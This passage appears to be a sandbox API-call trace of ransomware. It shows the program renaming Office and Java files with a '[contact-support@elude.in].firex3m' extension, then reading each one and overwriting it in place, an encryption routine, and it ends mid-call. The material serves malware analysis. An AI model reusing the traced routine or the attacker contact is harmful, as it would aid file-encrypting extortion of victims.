[0124.302] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0124.303] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfc6c | out: lpFindFileData=0x40bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd502d600, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0xd9e7b530, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd502d600, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x2a9c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPP.HTM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OSPPHT~1.FIR")) returned 0x6d5500 [0124.303] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0124.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0124.303] GetProcessHeap () returned 0x630000 [0124.303] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71f0118 [0124.304] GetProcessHeap () returned 0x630000 [0124.304] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71fb548 [0124.304] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.304] ReadFile (in: hFile=0x4e8, lpBuffer=0x71f0118, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x71f0118*, lpNumberOfBytesRead=0x40bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0127.669] GetProcessHeap () returned 0x630000 [0127.669] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73173d8 [0127.669] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.669] WriteFile (in: hFile=0x4e8, lpBuffer=0x71fb548*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x71fb548*, lpNumberOfBytesWritten=0x40bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0128.327] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.327] WriteFile (in: hFile=0x4e8, lpBuffer=0x7206947*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7206947*, lpNumberOfBytesWritten=0x40bff0c*=0x20, lpOverlapped=0x0) returned 1 [0128.346] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.346] WriteFile (in: hFile=0x4e8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x40bff0c*=0x4, lpOverlapped=0x0) returned 1 [0128.346] CloseHandle (hObject=0x4e8) returned 1 [0128.350] GetProcessHeap () returned 0x630000 [0128.350] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71fb548 | out: hHeap=0x630000) returned 1 [0128.351] GetProcessHeap () returned 0x630000 [0128.351] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71f0118 | out: hHeap=0x630000) returned 1 [0128.351] GetProcessHeap () returned 0x630000 [0128.351] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73173d8 | out: hHeap=0x630000) returned 1 [0129.396] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0129.396] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfcc4 | out: lpFindFileData=0x40bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd502d600, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0xd9e7b530, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x12749424, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2a9e4, dwReserved0=0xb247496, dwReserved1=0x71f0110, cFileName="OSPP.HTM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OSPPHT~1.FIR")) returned 0x6d5200 [0129.396] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0129.396] Sleep (dwMilliseconds=0x1) [0131.711] SysReAllocStringLen (in: pbstr=0x40bff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties", len=0x3b | out: pbstr=0x40bff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 1 [0131.711] GetProcessHeap () returned 0x630000 [0131.712] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x10) returned 0x66a3e0 [0131.712] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0131.712] CloseHandle (hObject=0x4bc) returned 1 [0131.712] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.712] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0131.713] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0131.713] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfc6c | out: lpFindFileData=0x40bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x562, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendars.properties.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CALEND~1.FIR")) returned 0x6d5240 [0131.713] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0131.713] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0131.713] GetProcessHeap () returned 0x630000 [0131.713] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x581) returned 0x6868e0 [0131.713] GetProcessHeap () returned 0x630000 [0131.714] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x581) returned 0x71be9f0 [0131.714] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.714] ReadFile (in: hFile=0x4bc, lpBuffer=0x6868e0, nNumberOfBytesToRead=0x560, lpNumberOfBytesRead=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6868e0*, lpNumberOfBytesRead=0x40bff0c*=0x560, lpOverlapped=0x0) returned 1 [0131.734] GetProcessHeap () returned 0x630000 [0131.734] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318670 [0131.734] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.734] WriteFile (in: hFile=0x4bc, lpBuffer=0x71be9f0*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x71be9f0*, lpNumberOfBytesWritten=0x40bff0c*=0x560, lpOverlapped=0x0) returned 1 [0131.734] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.734] WriteFile (in: hFile=0x4bc, lpBuffer=0x71bef4f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x71bef4f*, lpNumberOfBytesWritten=0x40bff0c*=0x20, lpOverlapped=0x0) returned 1 [0131.734] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.734] WriteFile (in: hFile=0x4bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x40bff0c*=0x4, lpOverlapped=0x0) returned 1 [0131.735] CloseHandle (hObject=0x4bc) returned 1 [0131.735] GetProcessHeap () returned 0x630000 [0131.735] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71be9f0 | out: hHeap=0x630000) returned 1 [0131.735] GetProcessHeap () returned 0x630000 [0131.735] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6868e0 | out: hHeap=0x630000) returned 1 [0131.735] GetProcessHeap () returned 0x630000 [0131.735] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318670 | out: hHeap=0x630000) returned 1 [0131.736] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0131.736] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfcc4 | out: lpFindFileData=0x40bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x14776049, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x586, dwReserved0=0xb247496, dwReserved1=0x6868d8, cFileName="calendars.properties.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CALEND~1.FIR")) returned 0x6d53c0 [0131.736] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0131.736] Sleep (dwMilliseconds=0x1) [0131.762] SysReAllocStringLen (in: pbstr=0x40bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF", len=0x44 | out: pbstr=0x40bff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 1 [0131.762] GetProcessHeap () returned 0x630000 [0131.762] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x90) returned 0x66a3e0 [0131.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0131.764] CloseHandle (hObject=0x4bc) returned 1 [0131.764] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.764] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0131.789] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0131.789] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfc6c | out: lpFindFileData=0x40bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd32, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00175_.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AG0017~1.FIR")) returned 0x6d53c0 [0131.789] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0131.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0131.791] GetProcessHeap () returned 0x630000 [0131.791] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd41) returned 0x673b38 [0131.791] GetProcessHeap () returned 0x630000 [0131.791] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd41) returned 0x71b8cf8 [0131.791] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.791] ReadFile (in: hFile=0x4bc, lpBuffer=0x673b38, nNumberOfBytesToRead=0xd20, lpNumberOfBytesRead=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x673b38*, lpNumberOfBytesRead=0x40bff0c*=0xd20, lpOverlapped=0x0) returned 1 [0131.823] GetProcessHeap () returned 0x630000 [0131.823] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317ec8 [0131.823] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.823] WriteFile (in: hFile=0x4bc, lpBuffer=0x71b8cf8*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x71b8cf8*, lpNumberOfBytesWritten=0x40bff0c*=0xd20, lpOverlapped=0x0) returned 1 [0131.823] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.823] WriteFile (in: hFile=0x4bc, lpBuffer=0x71b9a17*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x71b9a17*, lpNumberOfBytesWritten=0x40bff0c*=0x20, lpOverlapped=0x0) returned 1 [0131.823] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.823] WriteFile (in: hFile=0x4bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x40bff0c*=0x4, lpOverlapped=0x0) returned 1 [0131.823] CloseHandle (hObject=0x4bc) returned 1 [0131.824] GetProcessHeap () returned 0x630000 [0131.824] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71b8cf8 | out: hHeap=0x630000) returned 1 [0131.824] GetProcessHeap () returned 0x630000 [0131.824] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x673b38 | out: hHeap=0x630000) returned 1 [0131.824] GetProcessHeap () returned 0x630000 [0131.824] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317ec8 | out: hHeap=0x630000) returned 1 [0131.824] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0131.824] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfcc4 | out: lpFindFileData=0x40bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1485ae15, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xd56, dwReserved0=0xb247496, dwReserved1=0x673b30, cFileName="AG00175_.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AG0017~1.FIR")) returned 0x6d5340 [0131.825] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0131.825] Sleep (dwMilliseconds=0x1) [0131.834] SysReAllocStringLen (in: pbstr=0x40bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF", len=0x44 | out: pbstr=0x40bff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 1 [0131.834] GetProcessHeap () returned 0x630000 [0131.834] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xf8) returned 0x66a3e0 [0131.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0131.836] CloseHandle (hObject=0x6f8) returned 1 [0131.836] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.836] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0131.837] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0131.837] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfc6c | out: lpFindFileData=0x40bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x19ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04191_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AN0419~2.FIR")) returned 0x6d5400 [0131.838] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0131.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0131.838] GetProcessHeap () returned 0x630000 [0131.839] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a01) returned 0x6f60af8 [0131.839] GetProcessHeap () returned 0x630000 [0131.839] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a01) returned 0x6ecb478 [0131.839] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.839] ReadFile (in: hFile=0x6f8, lpBuffer=0x6f60af8, nNumberOfBytesToRead=0x19e0, lpNumberOfBytesRead=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f60af8*, lpNumberOfBytesRead=0x40bff0c*=0x19e0, lpOverlapped=0x0) returned 1 [0133.736] GetProcessHeap () returned 0x630000 [0133.736] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318558 [0133.736] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.736] WriteFile (in: hFile=0x6f8, lpBuffer=0x6ecb478*, nNumberOfBytesToWrite=0x19e0, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ecb478*, lpNumberOfBytesWritten=0x40bff0c*=0x19e0, lpOverlapped=0x0) returned 1 [0133.736] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.736] WriteFile (in: hFile=0x6f8, lpBuffer=0x6ecce57*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ecce57*, lpNumberOfBytesWritten=0x40bff0c*=0x20, lpOverlapped=0x0) returned 1 [0133.736] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.736] WriteFile (in: hFile=0x6f8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x40bff0c*=0x4, lpOverlapped=0x0) returned 1 [0133.736] CloseHandle (hObject=0x6f8) returned 1 [0133.737] GetProcessHeap () returned 0x630000 [0133.737] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ecb478 | out: hHeap=0x630000) returned 1 [0133.737] GetProcessHeap () returned 0x630000 [0133.737] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f60af8 | out: hHeap=0x630000) returned 1 [0133.737] GetProcessHeap () returned 0x630000 [0133.737] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318558 | out: hHeap=0x630000) returned 1 [0133.737] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0133.737] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfcc4 | out: lpFindFileData=0x40bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15a91be5, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1a10, dwReserved0=0xb247496, dwReserved1=0x6f60af0, cFileName="AN04191_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AN0419~2.FIR")) returned 0x6d4e00 [0133.738] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0133.738] Sleep (dwMilliseconds=0x1) [0135.778] SysReAllocStringLen (in: pbstr=0x40bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF", len=0x44 | out: pbstr=0x40bff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 1 [0135.778] GetProcessHeap () returned 0x630000 [0135.778] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x670860, Size=0x268) returned 0x670860 [0135.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0135.784] CloseHandle (hObject=0x4dc) returned 1 [0135.784] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, 